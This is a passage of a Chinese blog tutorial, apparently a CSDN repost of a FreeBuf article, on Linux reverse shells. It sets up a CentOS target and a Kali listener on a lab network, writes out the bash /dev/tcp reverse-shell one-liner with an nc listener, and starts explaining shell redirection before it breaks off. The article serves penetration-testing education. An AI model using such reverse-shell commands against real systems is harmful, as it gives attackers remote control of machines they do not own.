mysql 反弹shell_Linux下几种反弹Shell方法的总结与理解

本文介绍了Linux系统中反弹Shell的四种方法,包括bash、python、nc和php方式。通过详细解析命令行工作原理,帮助读者理解如何在不同场景下实施反弹Shell操作,提升渗透测试技能。
摘要由CSDN通过智能技术生成

*本文原创作者:LlawLiet,本文属FreeBuf原创奖励计划,未经许可禁止转载。

之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上,下面来介绍分析几种常用的方法。

实验环境

CentOS 6.5:192.168.0.3

kali2.0:192.168.0.4

方法1:

反弹shell命令如下:

bash -i >& /dev/tcp/ip/port 0>&1

首先,使用nc在kali上监听端口:

nc -lvp 7777

232f53c24c77f23524cea6b6c37cbfd8.png

然后在CentOS6.5下输入:

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

c8eecc92e32eaa6ad30dacb27f6d7dd0.png

可以看到shell成功反弹到了kali上面,可以执行命令:

8dfae340da88a798e01a46771754afeb.png

在解释这条反弹shell的命令原理之前,首先需要掌握几个点。

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用

1 - stdout 代表标准输出,使用>或>>

2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。

当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

也有师傅把&这个符号解释为是取地址符号,学过C语言的小伙伴们都知道&这个符号代表取地址符,在C++中&符号还代表为引用,这样做是为了区分文件描述符和文件,比如查看一个不存在的文件,要把标准错误重定向到标准输出,如果直接cat notexistfile 2>1的话,则会将1看作是一个文件,将标准错误输出输出到1这个文件里而不是标准输出,而&的作用就是为了区分文件和文件描述符:

3a621e2204d2c3221f68333e1da75b0e.png理解了上面这些知识,下面来解释一下这一条反弹shell的命令首先,bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值